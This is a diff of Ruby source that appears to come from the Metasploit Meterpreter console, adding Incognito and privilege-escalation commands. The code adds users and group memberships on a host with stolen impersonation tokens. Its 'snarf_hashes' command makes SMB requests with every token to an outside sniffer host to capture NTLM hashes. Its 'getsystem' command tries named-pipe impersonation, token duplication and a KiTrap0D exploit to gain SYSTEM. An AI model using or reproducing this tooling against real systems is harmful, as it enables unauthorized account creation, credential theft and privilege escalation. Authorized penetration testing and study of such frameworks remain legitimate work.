@@add_user_opts.parse(args) { |opt, idx, val|
|
|
121
|
+
case opt
|
|
122
|
+
when "-h"
|
|
123
|
+
host = val
|
|
124
|
+
end
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
if (args.length < 2)
|
|
128
|
+
print_line("Usage: add_user <username> <password> [options]\n")
|
|
129
|
+
print_line("Attempts to add a user to a host with all accessible tokens. Terminates when successful, an error that is not access denied occurs (e.g. password does not meet complexity requirements) or when all tokens are exhausted")
|
|
130
|
+
print_line(@@add_user_opts.usage)
|
|
131
|
+
return
|
|
132
|
+
end
|
|
133
|
+
|
|
134
|
+
system_privilege_check
|
|
135
|
+
|
|
136
|
+
username = args[0]
|
|
137
|
+
password = args[1]
|
|
138
|
+
|
|
139
|
+
client.incognito.incognito_add_user(host, username, password).each_line { |string|
|
|
140
|
+
print(string)
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
return true
|
|
144
|
+
end
|
|
145
|
+
|
|
146
|
+
def cmd_add_localgroup_user(*args)
|
|
147
|
+
# Default to localhost
|
|
148
|
+
host = "127.0.0.1"
|
|
149
|
+
|
|
150
|
+
@@add_localgroup_user_opts.parse(args) { |opt, idx, val|
|
|
151
|
+
case opt
|
|
152
|
+
when "-h"
|
|
153
|
+
host = val
|
|
154
|
+
end
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
if (args.length < 2)
|
|
158
|
+
print_line("Usage: add_localgroup_user <groupname> <username> [options]\n")
|
|
159
|
+
print_line("Attempts to add a user to a local group on a host with all accessible tokens. Terminates when successful, an error that is not access denied occurs (e.g. user not found) or when all tokens are exhausted")
|
|
160
|
+
print_line(@@add_localgroup_user_opts.usage)
|
|
161
|
+
return
|
|
162
|
+
end
|
|
163
|
+
|
|
164
|
+
system_privilege_check
|
|
165
|
+
|
|
166
|
+
groupname = args[0]
|
|
167
|
+
username = args[1]
|
|
168
|
+
|
|
169
|
+
client.incognito.incognito_add_localgroup_user(host, groupname, username).each_line { |string|
|
|
170
|
+
print(string)
|
|
171
|
+
}
|
|
172
|
+
|
|
173
|
+
return true
|
|
174
|
+
end
|
|
175
|
+
|
|
176
|
+
def cmd_add_group_user(*args)
|
|
177
|
+
# Default to localhost
|
|
178
|
+
host = "127.0.0.1"
|
|
179
|
+
|
|
180
|
+
@@add_group_user_opts.parse(args) { |opt, idx, val|
|
|
181
|
+
case opt
|
|
182
|
+
when "-h"
|
|
183
|
+
host = val
|
|
184
|
+
end
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
if (args.length < 2)
|
|
188
|
+
print_line("Usage: add_group_user <groupname> <username> [options]\n")
|
|
189
|
+
print_line("Attempts to add a user to a global group on a host with all accessible tokens. Terminates when successful, an error that is not access denied occurs (e.g. user not found) or when all tokens are exhausted")
|
|
190
|
+
print_line(@@add_group_user_opts.usage)
|
|
191
|
+
return
|
|
192
|
+
end
|
|
193
|
+
|
|
194
|
+
system_privilege_check
|
|
195
|
+
|
|
196
|
+
groupname = args[0]
|
|
197
|
+
username = args[1]
|
|
198
|
+
|
|
199
|
+
client.incognito.incognito_add_group_user(host, groupname, username).each_line { |string|
|
|
200
|
+
print(string)
|
|
201
|
+
}
|
|
202
|
+
|
|
203
|
+
return true
|
|
204
|
+
end
|
|
205
|
+
|
|
206
|
+
def cmd_snarf_hashes(*args)
|
|
207
|
+
if (args.length < 1)
|
|
208
|
+
print_line("Usage: snarf_hashes <sniffer_host>\n")
|
|
209
|
+
print_line("Captures LANMAN/NTLM challenge response hashes by making SMB requests to the supplied sniffing host with every accessible token.\n")
|
|
210
|
+
return
|
|
211
|
+
end
|
|
212
|
+
|
|
213
|
+
system_privilege_check
|
|
214
|
+
|
|
215
|
+
print_line("[*] Snarfing token hashes...")
|
|
216
|
+
client.incognito.incognito_snarf_hashes(args[0])
|
|
217
|
+
print_line("[*] Done. Check sniffer logs")
|
|
218
|
+
|
|
219
|
+
return true
|
|
220
|
+
end
|
|
221
|
+
|
|
222
|
+
def system_privilege_check
|
|
223
|
+
if (client.sys.config.getuid != "NT AUTHORITY\\SYSTEM")
|
|
224
|
+
print_line("[-] Warning: Not currently running as SYSTEM, not all tokens will be available")
|
|
225
|
+
print_line(" Call rev2self if primary process token is SYSTEM")
|
|
226
|
+
end
|
|
227
|
+
end
|
|
228
|
+
|
|
229
|
+
#
|
|
230
|
+
# Name for this dispatcher
|
|
231
|
+
#
|
|
232
|
+
def name
|
|
233
|
+
"Incognito"
|
|
234
|
+
end
|
|
235
|
+
|
|
236
|
+
end
|
|
237
|
+
|
|
238
|
+
end
|
|
239
|
+
end
|
|
240
|
+
end
|
|
241
|
+
end
|
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
require 'rex/post/meterpreter'
|
|
2
|
+
|
|
3
|
+
module Rex
|
|
4
|
+
module Post
|
|
5
|
+
module Meterpreter
|
|
6
|
+
module Ui
|
|
7
|
+
|
|
8
|
+
###
|
|
9
|
+
#
|
|
10
|
+
# Privilege escalation extension user interface.
|
|
11
|
+
#
|
|
12
|
+
###
|
|
13
|
+
class Console::CommandDispatcher::Priv
|
|
14
|
+
|
|
15
|
+
require 'rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate'
|
|
16
|
+
require 'rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd'
|
|
17
|
+
require 'rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp'
|
|
18
|
+
|
|
19
|
+
Klass = Console::CommandDispatcher::Priv
|
|
20
|
+
|
|
21
|
+
Dispatchers =
|
|
22
|
+
[
|
|
23
|
+
Klass::Elevate,
|
|
24
|
+
Klass::Passwd,
|
|
25
|
+
Klass::Timestomp,
|
|
26
|
+
]
|
|
27
|
+
|
|
28
|
+
include Console::CommandDispatcher
|
|
29
|
+
|
|
30
|
+
#
|
|
31
|
+
# Initializes an instance of the priv command interaction.
|
|
32
|
+
#
|
|
33
|
+
def initialize(shell)
|
|
34
|
+
super
|
|
35
|
+
|
|
36
|
+
Dispatchers.each { |d|
|
|
37
|
+
shell.enstack_dispatcher(d)
|
|
38
|
+
}
|
|
39
|
+
end
|
|
40
|
+
|
|
41
|
+
#
|
|
42
|
+
# List of supported commands.
|
|
43
|
+
#
|
|
44
|
+
def commands
|
|
45
|
+
{
|
|
46
|
+
}
|
|
47
|
+
end
|
|
48
|
+
|
|
49
|
+
#
|
|
50
|
+
# Name for this dispatcher
|
|
51
|
+
#
|
|
52
|
+
def name
|
|
53
|
+
"Privilege Escalation"
|
|
54
|
+
end
|
|
55
|
+
|
|
56
|
+
end
|
|
57
|
+
|
|
58
|
+
end
|
|
59
|
+
end
|
|
60
|
+
end
|
|
61
|
+
end
|
|
@@ -0,0 +1,98 @@
|
|
|
1
|
+
require 'rex/post/meterpreter'
|
|
2
|
+
|
|
3
|
+
module Rex
|
|
4
|
+
module Post
|
|
5
|
+
module Meterpreter
|
|
6
|
+
module Ui
|
|
7
|
+
|
|
8
|
+
###
|
|
9
|
+
#
|
|
10
|
+
# The local privilege escalation portion of the extension.
|
|
11
|
+
#
|
|
12
|
+
###
|
|
13
|
+
class Console::CommandDispatcher::Priv::Elevate
|
|
14
|
+
|
|
15
|
+
Klass = Console::CommandDispatcher::Priv::Elevate
|
|
16
|
+
|
|
17
|
+
include Console::CommandDispatcher
|
|
18
|
+
|
|
19
|
+
ELEVATE_TECHNIQUE_NONE = -1
|
|
20
|
+
ELEVATE_TECHNIQUE_ANY = 0
|
|
21
|
+
ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE = 1
|
|
22
|
+
ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 = 2
|
|
23
|
+
ELEVATE_TECHNIQUE_SERVICE_TOKENDUP = 3
|
|
24
|
+
ELEVATE_TECHNIQUE_VULN_KITRAP0D = 4
|
|
25
|
+
|
|
26
|
+
ELEVATE_TECHNIQUE_DESCRIPTION = [ "All techniques available",
|
|
27
|
+
"Service - Named Pipe Impersonation (In Memory/Admin)",
|
|
28
|
+
"Service - Named Pipe Impersonation (Dropper/Admin)",
|
|
29
|
+
"Service - Token Duplication (In Memory/Admin)",
|
|
30
|
+
"Exploit - KiTrap0D (In Memory/User)"
|
|
31
|
+
]
|
|
32
|
+
#
|
|
33
|
+
# List of supported commands.
|
|
34
|
+
#
|
|
35
|
+
def commands
|
|
36
|
+
{
|
|
37
|
+
"getsystem" => "Attempt to elevate your privilege to that of local system."
|
|
38
|
+
}
|
|
39
|
+
end
|
|
40
|
+
|
|
41
|
+
#
|
|
42
|
+
# Name for this dispatcher.
|
|
43
|
+
#
|
|
44
|
+
def name
|
|
45
|
+
"Priv: Elevate"
|
|
46
|
+
end
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
#
|
|
50
|
+
# Attempt to elevate the meterpreter to that of local system.
|
|
51
|
+
#
|
|
52
|
+
def cmd_getsystem( *args )
|
|
53
|
+
|
|
54
|
+
technique = ELEVATE_TECHNIQUE_ANY
|
|
55
|
+
|
|
56
|
+
desc = ""
|
|
57
|
+
ELEVATE_TECHNIQUE_DESCRIPTION.each_index { |i| desc += "\n\t\t#{i} : #{ELEVATE_TECHNIQUE_DESCRIPTION[i]}" }
|
|
58
|
+
|
|
59
|
+
getsystem_opts = Rex::Parser::Arguments.new(
|
|
60
|
+
"-h" => [ false, "Help Banner." ],
|
|
61
|
+
"-t" => [ true, "The technique to use. (Default to \'#{technique}\')." + desc ]
|
|
62
|
+
)
|
|
63
|
+
|
|
64
|
+
getsystem_opts.parse(args) { | opt, idx, val |
|
|
65
|
+
case opt
|
|
66
|
+
when "-h"
|
|
67
|
+
print_line( "Usage: getsystem [options]\n" )
|
|
68
|
+
print_line( "Attempt to elevate your privilege to that of local system." )
|
|
69
|
+
print_line( getsystem_opts.usage )
|
|
70
|
+
return
|
|
71
|
+
when "-t"
|
|
72
|
+
technique = val.to_i
|
|
73
|
+
end
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
if( technique < 0 or technique >= ELEVATE_TECHNIQUE_DESCRIPTION.length )
|
|
77
|
+
print_error( "Technique '#{technique}' is out of range." );
|
|
78
|
+
return false;
|
|
79
|
+
end
|
|
80
|
+
|
|
81
|
+
result = client.priv.getsystem( technique )
|
|
82
|
+
|
|
83
|
+
# got system?
|
|
84
|
+
if result[0]
|
|
85
|
+
print_line( "...got system (via technique #{result[1]})." );
|
|
86
|
+
else
|
|
87
|
+
print_line( "...failed to get system." );
|
|
88
|
+
end
|
|
89
|
+
|
|
90
|
+
return result
|
|
91
|
+
end
|
|
92
|
+
|
|
93
|
+
end
|
|
94
|
+
|
|
95
|
+
end
|
|
96
|
+
end
|
|
97
|
+
end
|
|
98
|
+
end
|